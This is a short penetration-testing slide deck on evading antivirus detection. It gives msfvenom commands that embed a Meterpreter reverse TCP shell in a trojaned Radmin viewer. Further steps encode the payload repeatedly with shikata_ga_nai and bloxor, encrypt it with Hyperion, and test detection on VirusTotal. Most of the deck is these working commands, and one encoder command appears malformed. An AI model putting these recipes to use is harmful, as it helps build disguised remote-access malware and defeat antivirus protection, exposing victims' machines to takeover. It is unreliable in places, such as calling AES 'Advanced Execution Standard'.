1. Bypassing Antivirus API
Web Application Penetration Testing ‘17

2. Bypassing Antivirus API
Encoding malicious file so that it can’t be traced by the antivirus applications.
Highlights –
Creating Trojans using msfvenom.
Encoding a Trojan.
Shikata_ga_nai encoding.
Multiencoding using msfvenom.
Hyperion.

3. Creating Trojans using msfvenom
Trojan – Malicious/Bad code file.
Creating a Trojan handler with msfvenom -
Msfvenom –p windows/meterpreter/reverse_tcp LHOST = [host ip] LPORT = [Desired Port] –x /usr/share/windows-binaries/radmin.exe –k –f exe > radmin.exe
It will output trojaned radmin viewer with meterpreter reverse tcp shell.
This will be used for exploiting windows target machine by running infected Radmin viewer.

4. Encoding a Trojan
Trojan is encoded to be prevented from detecting by antivirus applications.
Open kali terminal and type –
Msfvenom –l encoders
It will list encoders including their rank and description.
x86/shikata_ga_nai is excellent ranked polymorphic XOR Additive Feedback Encoder.

5. Shikata_ga_nai Encoding
Shikata_ga_nai is in Japanese meaning “It can’t be helped”
Encoding with shikata_ga_nai –
Msfvenom –p windows/meterpreter/reverse_tcp LHOST = [Host IP] LPORT = [Desired Port] –e x86/shikata_ga_nai –i 10 –f exe > Trojan.exe
Upload the resulting binary to virus total website and check the results.
The result will not be much efficient as antivirus developers check for the pre-define metaspoit templates.
Results can be improved by multiencoding the Trojan.

6. Multiencoding using msfvenom
In this demonstration, shikata_ga_nai and bloxor encoding will be used for multiencoding.
First create an encoded RAW binary with shikata_ga_nai which can be later encoded and output into executable.
Msfvenom –p windows/meterpreter/reverse_tcp LHOST = [Host IP] LPORT = [Desired Port] –e x86/shikata_ga_nai –i 10 –f raw > Trojan1.bin
Now, again encode the output Raw binary using bloxor encoding.
Msfvenom –p –f exe –a x86 – -platform windows –e x86/bloxor –i 10 > Trojan1.exe < Trojan1.bin
Upload the output executable to virus total website, results will be far improved but yet not best.

7. Hyperion – Encrypting Meta Executable
Hyperion uses Advanced Execution Standard (AES) Encryption which is current industry standard encryption. {Backend process is much related to cryptography background}.
Encrypting Meta Executable:
Msfvenom –p windows/meterpreter/reverse_tcp LHOST = [Host IP] LPORT = [Desired Port] –f exe > meta.exe
Cd Hyperion-1.0/
Wine ../hyperion ../meta.exe bypassavhyperion.exe
Upload the output executable to virus total and check the result.

8. Thanks